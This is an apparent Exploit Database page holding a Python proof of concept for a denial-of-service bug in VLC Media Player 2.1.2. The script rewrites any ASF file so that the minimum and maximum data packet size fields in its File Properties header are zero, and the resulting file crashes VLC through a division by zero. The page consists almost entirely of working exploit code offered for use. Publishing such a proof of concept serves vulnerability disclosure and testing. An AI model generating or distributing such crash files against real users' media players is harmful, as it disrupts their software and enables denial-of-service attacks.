VideoLAN VLC Media Player 2.1.2 – ‘.asf’ Crash (PoC)

• Exploit Database
• 9 阅读

• 作者： Saif
  日期： 2014-02-05
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/31429/

• #!/usr/bin/python
  # VLC Media Player up to 2.1.2 DOS POC Integer Division By zero in ASF Demuxer
  # VLC Media Player is prone to DOS utilizing a division by zero error if minimium data packet size
  # is equal to zero. this was tested on windows XP sp3 and affects all versions of vlc till latest 2.1.2
  # to run this script you need to install python bitstring module 
  # usage you supply any valid asf and the script will produxe a POC asf that will crash vlc 
  
  import sys
  from bitstring import BitArray
  
  f = open(sys.argv[1],'r+b')
  
  f.seek(0,2)
  
  size = f.tell()
  
  print "[*] file size: %d" % size
  
  f.seek(0,0)
  
  print "[*] ReeeeeWWWWWWiiiiiNNNNNNND"
  
  fb = BitArray(f)
  
  index=fb.find('0xa1dcab8c47a9cf118ee400c00c205365',bytealigned=True)
  
  print "[*] found file properties GUID"
  print "[*] File properties GUID: %s" % fb[index[0]:(index[0]+128)]
  
  # index of minumum packet size in File Proprties header
  i_min_data_pkt_size = index[0] +736
  
  print "[*] Original Minimum Data Packet Size: %s" % fb[i_min_data_pkt_size:i_min_data_pkt_size+32].hex
  print "[*] Original Maximum Data Packet Size: %s" % fb[i_min_data_pkt_size+32:i_min_data_pkt_size+64].hex
  
  # Accroding to ASF standarad the minimum data size and the maximum data size should be equal
  print "[*] Changing Miniumum and Maximum Data packet size to 0"
  
  # changing the data packets in bit array
  
  fb[i_min_data_pkt_size:i_min_data_pkt_size+8] = 0x00
  fb[i_min_data_pkt_size+8:i_min_data_pkt_size+16] = 0x00
  fb[i_min_data_pkt_size+16:i_min_data_pkt_size+24] = 0x00
  fb[i_min_data_pkt_size+24:i_min_data_pkt_size+32] = 0x00
  fb[i_min_data_pkt_size+32:i_min_data_pkt_size+40] = 0x00
  fb[i_min_data_pkt_size+40:i_min_data_pkt_size+48] = 0x00
  fb[i_min_data_pkt_size+48:i_min_data_pkt_size+56] = 0x00
  fb[i_min_data_pkt_size+56:i_min_data_pkt_size+64] = 0x00
  
  print "[*] POC File Created poc.asf"
  
  of = open('poc.asf','w+b')
  fb.tofile(of)
  of.close()
  f.close()